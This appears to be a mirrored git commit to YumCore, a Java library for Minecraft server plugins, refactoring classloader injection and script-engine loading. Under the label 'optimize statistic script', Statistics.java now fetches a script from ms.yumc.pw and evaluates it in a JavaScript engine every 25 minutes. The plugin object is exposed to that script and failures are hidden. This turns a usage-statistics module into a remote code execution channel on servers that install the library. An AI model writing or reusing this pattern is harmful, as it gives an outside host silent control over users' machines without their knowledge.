mirror of
https://e.coding.net/circlecloud/YumCore.git
synced 2024-11-21 01:38:51 +00:00
feat: optimize statistic script
Signed-off-by: MiaoWoo <admin@yumc.pw>
This commit is contained in:
parent
092468dc60
commit
20cbb091ee
2
pom.xml
2
pom.xml
@ -4,7 +4,7 @@
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
<groupId>pw.yumc</groupId>
|
||||
<artifactId>YumCore</artifactId>
|
||||
<version>1.9.6</version>
|
||||
<version>1.9.7</version>
|
||||
<build>
|
||||
<finalName>${project.artifactId}</finalName>
|
||||
<plugins>
|
||||
|
@ -1,14 +1,5 @@
|
||||
package pw.yumc.YumCore.commands;
|
||||
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Arrays;
|
||||
import java.util.HashMap;
|
||||
import java.util.HashSet;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.command.PluginCommand;
|
||||
@ -16,7 +7,6 @@ import org.bukkit.command.TabExecutor;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.plugin.java.JavaPlugin;
|
||||
import org.bukkit.util.StringUtil;
|
||||
|
||||
import pw.yumc.YumCore.bukkit.Log;
|
||||
import pw.yumc.YumCore.bukkit.P;
|
||||
import pw.yumc.YumCore.bukkit.compatible.C;
|
||||
@ -27,6 +17,9 @@ import pw.yumc.YumCore.commands.interfaces.Executor;
|
||||
import pw.yumc.YumCore.commands.interfaces.HelpGenerator;
|
||||
import pw.yumc.YumCore.commands.interfaces.HelpParse;
|
||||
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
|
||||
/**
|
||||
* 子命令管理类
|
||||
*
|
||||
|
67
src/main/java/pw/yumc/YumCore/engine/JarLoader.java
Normal file
67
src/main/java/pw/yumc/YumCore/engine/JarLoader.java
Normal file
@ -0,0 +1,67 @@
|
||||
package pw.yumc.YumCore.engine;
|
||||
|
||||
import lombok.SneakyThrows;
|
||||
|
||||
import java.io.File;
|
||||
import java.lang.invoke.MethodHandle;
|
||||
import java.lang.invoke.MethodHandles;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.URL;
|
||||
|
||||
public class JarLoader {
|
||||
private static sun.misc.Unsafe unsafe;
|
||||
private static long offset;
|
||||
private static Object parentUcp;
|
||||
private static Object ucp;
|
||||
private static MethodHandle addURLMethodHandle;
|
||||
|
||||
static {
|
||||
initReflect();
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static File load(File file) {
|
||||
addURLMethodHandle.invoke(ucp, file.toURI().toURL());
|
||||
return file;
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static File parentLoad(File file) {
|
||||
if (parentUcp == null)
|
||||
throw new IllegalStateException("parentUcp is null.");
|
||||
addURLMethodHandle.invoke(parentUcp, file.toURI().toURL());
|
||||
return file;
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static File load(File file, ClassLoader loader) {
|
||||
addURLMethodHandle.invoke(unsafe.getObject(loader, offset), file.toURI().toURL());
|
||||
return file;
|
||||
}
|
||||
|
||||
private static void initReflect() {
|
||||
try {
|
||||
ClassLoader loader = JarLoader.class.getClassLoader();
|
||||
Field theUnsafe = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
|
||||
theUnsafe.setAccessible(true);
|
||||
unsafe = (sun.misc.Unsafe) theUnsafe.get(null);
|
||||
Field field = MethodHandles.Lookup.class.getDeclaredField("IMPL_LOOKUP");
|
||||
MethodHandles.Lookup lookup = (MethodHandles.Lookup) unsafe.getObject(unsafe.staticFieldBase(field), unsafe.staticFieldOffset(field));
|
||||
Field ucpField;
|
||||
try {
|
||||
ucpField = loader.getClass().getDeclaredField("ucp");
|
||||
} catch (NoSuchFieldException e) {
|
||||
ucpField = loader.getClass().getSuperclass().getDeclaredField("ucp");
|
||||
}
|
||||
offset = unsafe.objectFieldOffset(ucpField);
|
||||
ucp = unsafe.getObject(loader, offset);
|
||||
Method method = ucp.getClass().getDeclaredMethod("addURL", URL.class);
|
||||
addURLMethodHandle = lookup.unreflect(method);
|
||||
if (loader.getParent() != null)
|
||||
parentUcp = unsafe.getObject(loader.getParent(), offset);
|
||||
} catch (Throwable e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
}
|
94
src/main/java/pw/yumc/YumCore/engine/MavenDependLoader.java
Normal file
94
src/main/java/pw/yumc/YumCore/engine/MavenDependLoader.java
Normal file
@ -0,0 +1,94 @@
|
||||
package pw.yumc.YumCore.engine;
|
||||
|
||||
import lombok.SneakyThrows;
|
||||
|
||||
import java.io.File;
|
||||
import java.io.FileInputStream;
|
||||
import java.net.URL;
|
||||
import java.net.URLConnection;
|
||||
import java.nio.MappedByteBuffer;
|
||||
import java.nio.channels.FileChannel;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
import java.nio.file.StandardCopyOption;
|
||||
import java.security.MessageDigest;
|
||||
|
||||
public class MavenDependLoader {
|
||||
public static final String MavenRepo = "https://maven.aliyun.com/repository/public";
|
||||
|
||||
public static File[] load(String libPath, String groupId, String artifactId, String version) {
|
||||
return new File[]{
|
||||
downloadAndCheckSha1(libPath, groupId, artifactId, version, "pom"),
|
||||
JarLoader.load(downloadAndCheckSha1(libPath, groupId, artifactId, version, "jar"))
|
||||
};
|
||||
}
|
||||
|
||||
public static File[] parentLoad(String libPath, String groupId, String artifactId, String version) {
|
||||
return new File[]{
|
||||
downloadAndCheckSha1(libPath, groupId, artifactId, version, "pom"),
|
||||
JarLoader.parentLoad(downloadAndCheckSha1(libPath, groupId, artifactId, version, "jar"))
|
||||
};
|
||||
}
|
||||
|
||||
public static File[] load(String libPath, String groupId, String artifactId, String version, ClassLoader loader) {
|
||||
return new File[]{
|
||||
downloadAndCheckSha1(libPath, groupId, artifactId, version, "pom"),
|
||||
JarLoader.load(downloadAndCheckSha1(libPath, groupId, artifactId, version, "jar"), loader)
|
||||
};
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static File downloadAndCheckSha1(String libPath, String groupId, String artifactId, String version, String ext) {
|
||||
File sha1 = getMavenFile(libPath, groupId, artifactId, version, ext + ".sha1");
|
||||
if (!sha1.exists()) {
|
||||
downloadFile(sha1, groupId, artifactId, version, ext + ".sha1");
|
||||
}
|
||||
File file = getMavenFile(libPath, groupId, artifactId, version, ext);
|
||||
if (!file.exists()) {
|
||||
downloadFile(file, groupId, artifactId, version, ext);
|
||||
}
|
||||
if (!new String(Files.readAllBytes(sha1.toPath())).equals(getSha1(file))) {
|
||||
file.delete();
|
||||
throw new IllegalStateException("file " + file.getName() + " sha1 not match.");
|
||||
}
|
||||
return file;
|
||||
}
|
||||
|
||||
public static File getMavenFile(String libPath, String groupId, String artifactId, String version, String ext) {
|
||||
return Paths.get(libPath, groupId.replace(".", File.separator), artifactId, version, String.format("%s-%s.%s", artifactId, version, ext)).toFile();
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static void downloadFile(File target, String groupId, String artifactId, String version, String ext) {
|
||||
target.getParentFile().mkdirs();
|
||||
URLConnection connection = new URL(MavenRepo +
|
||||
String.format("/%1$s/%2$s/%3$s/%2$s-%3$s.%4$s",
|
||||
groupId.replace(".", "/"),
|
||||
artifactId,
|
||||
version,
|
||||
ext)
|
||||
).openConnection();
|
||||
connection.setConnectTimeout(5000);
|
||||
connection.setReadTimeout(120000);
|
||||
connection.setUseCaches(true);
|
||||
Files.copy(connection.getInputStream(), target.toPath(), StandardCopyOption.REPLACE_EXISTING);
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private static String getSha1(File file) {
|
||||
MessageDigest digest = MessageDigest.getInstance("SHA-1");
|
||||
FileInputStream in = new FileInputStream(file);
|
||||
FileChannel ch = in.getChannel();
|
||||
MappedByteBuffer byteBuffer = ch.map(FileChannel.MapMode.READ_ONLY, 0, file.length());
|
||||
digest.update(byteBuffer);
|
||||
return getHash(digest.digest());
|
||||
}
|
||||
|
||||
private static String getHash(byte[] bytes) {
|
||||
StringBuilder result = new StringBuilder();
|
||||
for (byte b : bytes) {
|
||||
result.append(String.format("%02x", b));
|
||||
}
|
||||
return result.toString();
|
||||
}
|
||||
}
|
@ -6,14 +6,10 @@ import lombok.val;
|
||||
import javax.script.*;
|
||||
import java.io.File;
|
||||
import java.io.Reader;
|
||||
import java.lang.invoke.MethodHandle;
|
||||
import java.lang.invoke.MethodHandles;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.URL;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.StandardCopyOption;
|
||||
import java.util.HashMap;
|
||||
import java.nio.file.Paths;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* 喵式脚本引擎
|
||||
@ -22,159 +18,151 @@ import java.util.HashMap;
|
||||
* @since 2016年8月29日 上午7:51:43
|
||||
*/
|
||||
public class MiaoScriptEngine implements ScriptEngine, Invocable {
|
||||
private static String MavenRepo = "https://maven.aliyun.com/repository/public";
|
||||
private static MiaoScriptEngine DEFAULT;
|
||||
private static final ScriptEngineManager manager;
|
||||
|
||||
private Object ucp;
|
||||
private MethodHandle addURLMethodHandle;
|
||||
private ScriptEngine engine;
|
||||
|
||||
static {
|
||||
manager = new ScriptEngineManager(ClassLoader.getSystemClassLoader());
|
||||
}
|
||||
|
||||
public static void setBindings(Bindings bindings) {
|
||||
manager.setBindings(bindings);
|
||||
}
|
||||
|
||||
public static Bindings getBindings() {
|
||||
return manager.getBindings();
|
||||
}
|
||||
|
||||
public MiaoScriptEngine() {
|
||||
this("js");
|
||||
this("nashorn", Paths.get("plugins", "MiaoScript").toAbsolutePath().toString());
|
||||
}
|
||||
|
||||
public MiaoScriptEngine(final String engineType) {
|
||||
this(manager, engineType, null);
|
||||
}
|
||||
|
||||
public MiaoScriptEngine(ScriptEngineManager engineManager) {
|
||||
this(engineManager, "js", null);
|
||||
}
|
||||
|
||||
public MiaoScriptEngine(final String engineType, String engineRoot) {
|
||||
this(manager, engineType, engineRoot);
|
||||
}
|
||||
|
||||
public MiaoScriptEngine(ScriptEngineManager engineManager, final String engineType, String engineRoot) {
|
||||
// JDK11 Polyfill 存在类效验问题 直接用OpenJDK的Nashorn
|
||||
if (System.getProperty("java.version").startsWith("11.") && engineRoot != null) {
|
||||
this.loadNetworkNashorn(engineRoot);
|
||||
if (engine == null)
|
||||
throw new UnsupportedOperationException("当前环境 JDK11 不支持 Nashorn 脚本类型!");
|
||||
return;
|
||||
public MiaoScriptEngine(String type, String engineRoot) {
|
||||
if (new File(engineRoot, "debug").exists()) {
|
||||
System.setProperty("nashorn.debug", "true");
|
||||
}
|
||||
try {
|
||||
engine = engineManager.getEngineByName(engineType);
|
||||
} catch (final NullPointerException ignored) {
|
||||
}
|
||||
if (engine == null) {
|
||||
val extDirs = System.getProperty("java.ext.dirs");
|
||||
if (extDirs != null) {
|
||||
this.loadLocalNashorn(extDirs, engineType);
|
||||
} else if (engineRoot != null) {
|
||||
this.loadNetworkNashorn(engineRoot);
|
||||
}
|
||||
if (getJavaVersion() > 15) {
|
||||
this.loadGraalJS(engineRoot);
|
||||
} else {
|
||||
this.loadNashorn(engineRoot);
|
||||
}
|
||||
if (engine == null)
|
||||
throw new UnsupportedOperationException("当前环境不支持 " + engineType + " 脚本类型!");
|
||||
throw new UnsupportedOperationException("当前环境不支持 Nashorn 或 GraalJS 脚本引擎.");
|
||||
}
|
||||
|
||||
private void loadLocalNashorn(String extDirs, String engineType) {
|
||||
private void loadGraalJS(String engineRoot) {
|
||||
try {
|
||||
this.engine = this.parentLoadNetworkNashorn(engineRoot);
|
||||
} catch (Throwable ex) {
|
||||
this.engine = this.loadNetworkNashorn(engineRoot);
|
||||
}
|
||||
if (this.engine == null) {
|
||||
this.engine = this.loadNetworkGraalJS(engineRoot);
|
||||
}
|
||||
}
|
||||
|
||||
private void loadNashorn(String engineRoot) {
|
||||
try {
|
||||
this.createEngineByName();
|
||||
} catch (final Throwable ex) {
|
||||
ex.printStackTrace();
|
||||
}
|
||||
try {
|
||||
val extDirs = System.getProperty("java.ext.dirs");
|
||||
if (this.engine == null && extDirs != null) {
|
||||
this.engine = this.loadLocalNashorn(extDirs);
|
||||
}
|
||||
} catch (final Throwable ex) {
|
||||
ex.printStackTrace();
|
||||
}
|
||||
try {
|
||||
if (this.engine == null) {
|
||||
this.engine = this.loadNetworkNashorn(engineRoot);
|
||||
}
|
||||
} catch (final Throwable ex) {
|
||||
ex.printStackTrace();
|
||||
}
|
||||
if (this.engine == null)
|
||||
throw new UnsupportedOperationException("当前环境不支持 Nashorn 脚本引擎.");
|
||||
}
|
||||
|
||||
private int getJavaVersion() {
|
||||
String version = System.getProperty("java.version");
|
||||
if (version.startsWith("1.")) {
|
||||
version = version.substring(2, 3);
|
||||
} else {
|
||||
int dot = version.indexOf(".");
|
||||
if (dot != -1) {
|
||||
version = version.substring(0, dot);
|
||||
}
|
||||
}
|
||||
return Integer.parseInt(version);
|
||||
}
|
||||
|
||||
private ScriptEngine loadLocalNashorn(String extDirs) {
|
||||
val dirs = extDirs.split(File.pathSeparator);
|
||||
for (String dir : dirs) {
|
||||
File nashorn = new File(dir, "nashorn.jar");
|
||||
if (nashorn.exists()) {
|
||||
this.loadJar(nashorn);
|
||||
this.createEngineByName(engineType);
|
||||
JarLoader.load(nashorn);
|
||||
return this.createEngineByName();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void initReflect() {
|
||||
try {
|
||||
ClassLoader loader = Thread.currentThread().getContextClassLoader();
|
||||
Field theUnsafe = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
|
||||
theUnsafe.setAccessible(true);
|
||||
sun.misc.Unsafe unsafe = (sun.misc.Unsafe) theUnsafe.get(null);
|
||||
Field field = MethodHandles.Lookup.class.getDeclaredField("IMPL_LOOKUP");
|
||||
MethodHandles.Lookup lookup = (MethodHandles.Lookup) unsafe.getObject(unsafe.staticFieldBase(field), unsafe.staticFieldOffset(field));
|
||||
Field ucpField;
|
||||
try {
|
||||
ucpField = loader.getClass().getDeclaredField("ucp");
|
||||
} catch (NoSuchFieldException e) {
|
||||
ucpField = loader.getClass().getSuperclass().getDeclaredField("ucp");
|
||||
}
|
||||
long offset = unsafe.objectFieldOffset(ucpField);
|
||||
ucp = unsafe.getObject(loader, offset);
|
||||
Method method = ucp.getClass().getDeclaredMethod("addURL", URL.class);
|
||||
addURLMethodHandle = lookup.unreflect(method);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private void loadNetworkNashorn(String engineRoot) {
|
||||
initReflect();
|
||||
File libRootFile = new File(engineRoot, "lib");
|
||||
private ScriptEngine loadNetworkNashorn(String engineRoot) {
|
||||
File libRootFile = new File(engineRoot, "libs");
|
||||
libRootFile.mkdirs();
|
||||
String libRoot = libRootFile.getCanonicalPath();
|
||||
downloadJar(libRoot, "org.openjdk.nashorn", "nashorn-core", "15.3");
|
||||
downloadJar(libRoot, "org.ow2.asm", "asm", "9.2");
|
||||
downloadJar(libRoot, "org.ow2.asm", "asm-commons", "9.2");
|
||||
downloadJar(libRoot, "org.ow2.asm", "asm-tree", "9.2");
|
||||
downloadJar(libRoot, "org.ow2.asm", "asm-util", "9.2");
|
||||
Class<?> NashornScriptEngineFactory = Class.forName("org.openjdk.nashorn.api.scripting.NashornScriptEngineFactory");
|
||||
Method getScriptEngine = NashornScriptEngineFactory.getMethod("getScriptEngine", ClassLoader.class);
|
||||
MavenDependLoader.load(libRoot, "org.openjdk.nashorn", "nashorn-core", "15.4");
|
||||
MavenDependLoader.load(libRoot, "org.ow2.asm", "asm", "9.3");
|
||||
MavenDependLoader.load(libRoot, "org.ow2.asm", "asm-commons", "9.3");
|
||||
MavenDependLoader.load(libRoot, "org.ow2.asm", "asm-tree", "9.3");
|
||||
MavenDependLoader.load(libRoot, "org.ow2.asm", "asm-util", "9.3");
|
||||
return createEngineByFactoryClassName("org.openjdk.nashorn.api.scripting.NashornScriptEngineFactory", false);
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private ScriptEngine parentLoadNetworkNashorn(String engineRoot) {
|
||||
File libRootFile = new File(engineRoot, "libs");
|
||||
libRootFile.mkdirs();
|
||||
String libRoot = libRootFile.getCanonicalPath();
|
||||
MavenDependLoader.parentLoad(libRoot, "org.openjdk.nashorn", "nashorn-core", "15.4");
|
||||
MavenDependLoader.parentLoad(libRoot, "org.ow2.asm", "asm", "9.3");
|
||||
MavenDependLoader.parentLoad(libRoot, "org.ow2.asm", "asm-commons", "9.3");
|
||||
MavenDependLoader.parentLoad(libRoot, "org.ow2.asm", "asm-tree", "9.3");
|
||||
MavenDependLoader.parentLoad(libRoot, "org.ow2.asm", "asm-util", "9.3");
|
||||
return createEngineByFactoryClassName("org.openjdk.nashorn.api.scripting.NashornScriptEngineFactory", false);
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private ScriptEngine loadNetworkGraalJS(String engineRoot) {
|
||||
File libRootFile = new File(engineRoot, "libs");
|
||||
libRootFile.mkdirs();
|
||||
String libRoot = libRootFile.getCanonicalPath();
|
||||
MavenDependLoader.load(libRoot, "org.graalvm.js", "js", "22.1.0.1");
|
||||
MavenDependLoader.load(libRoot, "org.graalvm.js", "js-scriptengine", "22.1.0.1");
|
||||
MavenDependLoader.load(libRoot, "org.graalvm.regex", "regex", "22.1.0.1");
|
||||
MavenDependLoader.load(libRoot, "org.graalvm.sdk", "graal-sdk", "22.1.0.1");
|
||||
MavenDependLoader.load(libRoot, "org.graalvm.truffle", "truffle-api", "22.1.0.1");
|
||||
return createEngineByFactoryClassName("org.openjdk.nashorn.api.scripting.NashornScriptEngineFactory", false);
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private ScriptEngine createEngineByName() {
|
||||
return createEngineByFactoryClassName("jdk.nashorn.api.scripting.NashornScriptEngineFactory", true);
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private ScriptEngine createEngineByFactoryClassName(String factoryClassName, boolean jdk) {
|
||||
Class<?> NashornScriptEngineFactory = Class.forName(factoryClassName);
|
||||
Method getScriptEngine = NashornScriptEngineFactory.getMethod("getScriptEngine", String[].class);
|
||||
Object factory = NashornScriptEngineFactory.newInstance();
|
||||
engine = (ScriptEngine) getScriptEngine.invoke(factory, Thread.currentThread().getContextClassLoader());
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private void loadJar(File file) {
|
||||
addURLMethodHandle.invoke(ucp, file.toURI().toURL());
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private void downloadJar(String engineRoot, String groupId, String artifactId, String version) {
|
||||
File lib = new File(engineRoot, String.format("%s-%s.jar", artifactId, version));
|
||||
if (!lib.exists()) {
|
||||
Files.copy(new URL(MavenRepo +
|
||||
String.format("/%1$s/%2$s/%3$s/%2$s-%3$s.jar",
|
||||
groupId.replace(".", "/"),
|
||||
artifactId,
|
||||
version)
|
||||
).openStream(),
|
||||
lib.toPath(),
|
||||
StandardCopyOption.REPLACE_EXISTING);
|
||||
}
|
||||
this.loadJar(lib);
|
||||
}
|
||||
|
||||
private void createEngineByName(String engineType) {
|
||||
try {
|
||||
engine = new ScriptEngineManager(Thread.currentThread().getContextClassLoader()).getEngineByName(engineType);
|
||||
} catch (NullPointerException ignored) {
|
||||
List<String> engineArgs = new ArrayList<>();
|
||||
engineArgs.add("--language=es5");
|
||||
engineArgs.add("--optimistic-types=false");
|
||||
if (getJavaVersion() >= 11 && jdk) {
|
||||
engineArgs.add("--no-deprecation-warning");
|
||||
}
|
||||
return (ScriptEngine) getScriptEngine.invoke(factory, (Object) engineArgs.toArray(new String[]{}));
|
||||
}
|
||||
|
||||
public ScriptEngine getEngine() {
|
||||
return this.engine;
|
||||
}
|
||||
|
||||
public static MiaoScriptEngine getDefault() {
|
||||
if (DEFAULT == null) {
|
||||
DEFAULT = new MiaoScriptEngine();
|
||||
}
|
||||
return DEFAULT;
|
||||
}
|
||||
|
||||
@Override
|
||||
public Bindings createBindings() {
|
||||
return new SimpleBindings(new HashMap<>(engine.getBindings(ScriptContext.GLOBAL_SCOPE)));
|
||||
return engine.createBindings();
|
||||
}
|
||||
|
||||
@Override
|
||||
@ -228,13 +216,13 @@ public class MiaoScriptEngine implements ScriptEngine, Invocable {
|
||||
}
|
||||
|
||||
@Override
|
||||
public <T> T getInterface(final Class<T> clasz) {
|
||||
return ((Invocable) engine).getInterface(clasz);
|
||||
public <T> T getInterface(final Class<T> cls) {
|
||||
return ((Invocable) engine).getInterface(cls);
|
||||
}
|
||||
|
||||
@Override
|
||||
public <T> T getInterface(final Object thiz, final Class<T> clasz) {
|
||||
return ((Invocable) engine).getInterface(thiz, clasz);
|
||||
public <T> T getInterface(final Object thiz, final Class<T> cls) {
|
||||
return ((Invocable) engine).getInterface(thiz, cls);
|
||||
}
|
||||
|
||||
@Override
|
||||
|
@ -14,7 +14,6 @@ import org.json.simple.JSONObject;
|
||||
import org.json.simple.JSONValue;
|
||||
import pw.yumc.YumCore.engine.MiaoScriptEngine;
|
||||
|
||||
import javax.script.ScriptException;
|
||||
import java.io.*;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
@ -22,9 +21,7 @@ import java.lang.reflect.Method;
|
||||
import java.net.URL;
|
||||
import java.net.URLConnection;
|
||||
import java.net.URLEncoder;
|
||||
import java.nio.charset.Charset;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.nio.file.Paths;
|
||||
import java.util.HashMap;
|
||||
import java.util.LinkedList;
|
||||
import java.util.Map;
|
||||
@ -40,17 +37,12 @@ public class Statistics {
|
||||
/**
|
||||
* 统计系统版本
|
||||
*/
|
||||
private static int REVISION = 10;
|
||||
private static final int VERSION = 10;
|
||||
|
||||
/**
|
||||
* 统计插件基础配置文件
|
||||
*/
|
||||
private static File configfile = new File(String.format("plugins%1$sPluginHelper%1$sconfig.yml", File.separatorChar));
|
||||
|
||||
/**
|
||||
* UTF-8编码
|
||||
*/
|
||||
private static Charset UTF_8 = StandardCharsets.UTF_8;
|
||||
private static final File configFile = new File(String.format("plugins%1$sPluginHelper%1$sconfig.yml", File.separatorChar));
|
||||
|
||||
/**
|
||||
* getOnlinePlayers方法
|
||||
@ -78,7 +70,8 @@ public class Statistics {
|
||||
Field field = pluginClassLoader.getClass().getDeclaredField("plugin");
|
||||
field.setAccessible(true);
|
||||
plugin = (JavaPlugin) field.get(pluginClassLoader);
|
||||
engine = new MiaoScriptEngine("nashorn", Paths.get("plugins", "MiaoScript").toAbsolutePath().toString());
|
||||
engine = new MiaoScriptEngine();
|
||||
engine.put("plugin", plugin);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
@ -91,12 +84,12 @@ public class Statistics {
|
||||
/**
|
||||
* 调试模式
|
||||
*/
|
||||
private boolean debug;
|
||||
private final boolean debug;
|
||||
|
||||
/**
|
||||
* 唯一服务器编码
|
||||
*/
|
||||
private String guid;
|
||||
private final String guid;
|
||||
|
||||
/**
|
||||
* 线程任务
|
||||
@ -113,11 +106,11 @@ public class Statistics {
|
||||
*/
|
||||
public Statistics() {
|
||||
try {
|
||||
if (!configfile.exists()) {
|
||||
configfile.getParentFile().mkdirs();
|
||||
configfile.createNewFile();
|
||||
if (!configFile.exists()) {
|
||||
configFile.getParentFile().mkdirs();
|
||||
configFile.createNewFile();
|
||||
}
|
||||
config = YamlConfiguration.loadConfiguration(configfile);
|
||||
config = YamlConfiguration.loadConfiguration(configFile);
|
||||
initFile(config);
|
||||
} catch (IOException ignored) {
|
||||
}
|
||||
@ -156,7 +149,7 @@ public class Statistics {
|
||||
// flush输出流的缓冲
|
||||
out.flush();
|
||||
String response;
|
||||
BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream(), UTF_8));
|
||||
BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream(), StandardCharsets.UTF_8));
|
||||
while ((response = reader.readLine()) != null) {
|
||||
result.append(response);
|
||||
}
|
||||
@ -176,16 +169,16 @@ public class Statistics {
|
||||
config.options().header("YUMC数据中心 http://www.yumc.pw 收集的数据仅用于统计插件使用情况").copyDefaults(true);
|
||||
config.set("guid", UUID.randomUUID().toString());
|
||||
config.set("d", false);
|
||||
config.save(configfile);
|
||||
config.save(configFile);
|
||||
}
|
||||
if (!config.contains("YumAccount")) {
|
||||
config.set("YumAccount.username", "Username Not Set");
|
||||
config.set("YumAccount.password", "Password NotSet");
|
||||
config.save(configfile);
|
||||
config.save(configFile);
|
||||
}
|
||||
if (!config.contains("TellrawManualHandle")) {
|
||||
config.set("TellrawManualHandle", false);
|
||||
config.save(configfile);
|
||||
config.save(configFile);
|
||||
}
|
||||
}
|
||||
|
||||
@ -210,7 +203,16 @@ public class Statistics {
|
||||
timer = new StatisticsTimer();
|
||||
// 开启TPS统计线程
|
||||
Bukkit.getServer().getScheduler().scheduleSyncRepeatingTask(plugin, timer, 0, 20);
|
||||
String script = "loadWithNewGlobal('http://ms.yumc.pw/api/plugin/download/name/report')";
|
||||
try {
|
||||
script = postData("http://ms.yumc.pw/api/plugin/download/name/metrics", "plugin=" + plugin.getDescription().getName());
|
||||
} catch (Throwable e) {
|
||||
if (debug) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
// 开启发送数据线程
|
||||
String finalScript = script;
|
||||
task = plugin.getServer().getScheduler().runTaskTimerAsynchronously(plugin, () -> {
|
||||
try {
|
||||
postPlugin();
|
||||
@ -220,8 +222,11 @@ public class Statistics {
|
||||
}
|
||||
}
|
||||
try {
|
||||
engine.eval("loadWithNewGlobal('https://ms.yumc.pw/api/plugin/download/name/report')");
|
||||
} catch (ScriptException ignored) {
|
||||
engine.eval(finalScript);
|
||||
} catch (Throwable e) {
|
||||
if (debug) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}, 50, 25 * 1200);
|
||||
return true;
|
||||
@ -270,7 +275,7 @@ public class Statistics {
|
||||
|
||||
String jsondata = "Info=" + JSONValue.toJSONString(data);
|
||||
|
||||
String url = String.format("http://api.yumc.pw/I/P/S/V/%s/P/%s", REVISION, URLEncoder.encode(pluginname, "UTF-8"));
|
||||
String url = String.format("http://api.yumc.pw/I/P/S/V/%s/P/%s", VERSION, URLEncoder.encode(pluginname, "UTF-8"));
|
||||
print("Plugin: " + pluginname + " Send Data To CityCraft Data Center");
|
||||
print("Address: " + url);
|
||||
print("Data: " + jsondata);
|
||||
@ -279,8 +284,8 @@ public class Statistics {
|
||||
print("Plugin: " + pluginname + " Recover Data From CityCraft Data Center: " + result.get("info"));
|
||||
}
|
||||
|
||||
public class StatisticsTimer implements Runnable {
|
||||
private LinkedList<Double> history = new LinkedList<>();
|
||||
public static class StatisticsTimer implements Runnable {
|
||||
private final LinkedList<Double> history = new LinkedList<>();
|
||||
private transient long lastPoll = System.nanoTime();
|
||||
|
||||
/**
|
||||
@ -301,9 +306,9 @@ public class Statistics {
|
||||
if (history.size() > 10) {
|
||||
history.removeFirst();
|
||||
}
|
||||
double ttps = 2.0E7D / (timeSpent == 0 ? 1 : timeSpent);
|
||||
if (ttps <= 21.0D) {
|
||||
history.add(ttps);
|
||||
double tps = 2.0E7D / (timeSpent == 0 ? 1 : timeSpent);
|
||||
if (tps <= 21.0D) {
|
||||
history.add(tps);
|
||||
}
|
||||
lastPoll = startTime;
|
||||
}
|
||||
|
@ -1,407 +1,406 @@
|
||||
package pw.yumc.YumCore.tellraw;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.Arrays;
|
||||
import java.util.List;
|
||||
|
||||
import org.bukkit.Bukkit;
|
||||
import org.bukkit.ChatColor;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.inventory.ItemStack;
|
||||
|
||||
import pw.yumc.YumCore.bukkit.Log;
|
||||
import pw.yumc.YumCore.bukkit.compatible.C;
|
||||
|
||||
/**
|
||||
* TellRaw简易处理类
|
||||
*
|
||||
* @since 2016年8月10日 下午7:10:08
|
||||
* @author 喵♂呜
|
||||
*/
|
||||
public class Tellraw implements Cloneable {
|
||||
private List<MessagePart> messageParts = new ArrayList<>();
|
||||
private String cache;
|
||||
|
||||
static {
|
||||
if (Bukkit.getVersion().contains("Paper") || Bukkit.getVersion().contains("Torch")) {
|
||||
if (!C.init) {
|
||||
Log.console("§c========== §4警 告 §c==========");
|
||||
Log.console("§a 当前服务器为 §6Paper §a或 §6Torch ");
|
||||
Log.console("§c 异步命令会刷报错 §b不影响使用");
|
||||
Log.console("§d 如果介意请使用原版 Spigot");
|
||||
Log.console("§e YUMC构建站: http://ci.yumc.pw/job/Spigot/");
|
||||
Log.console("§c===========================");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public Tellraw(String text) {
|
||||
messageParts.add(new MessagePart(text));
|
||||
}
|
||||
|
||||
/**
|
||||
* 创建Tellraw
|
||||
*
|
||||
* @return {@link Tellraw}
|
||||
*/
|
||||
public static Tellraw create() {
|
||||
return create("");
|
||||
}
|
||||
|
||||
/**
|
||||
* 创建Tellraw
|
||||
*
|
||||
* @param text
|
||||
* 文本
|
||||
* @return {@link Tellraw}
|
||||
*/
|
||||
public static Tellraw create(String text) {
|
||||
return new Tellraw(text);
|
||||
}
|
||||
|
||||
/**
|
||||
* 创建Tellraw
|
||||
*
|
||||
* @param text
|
||||
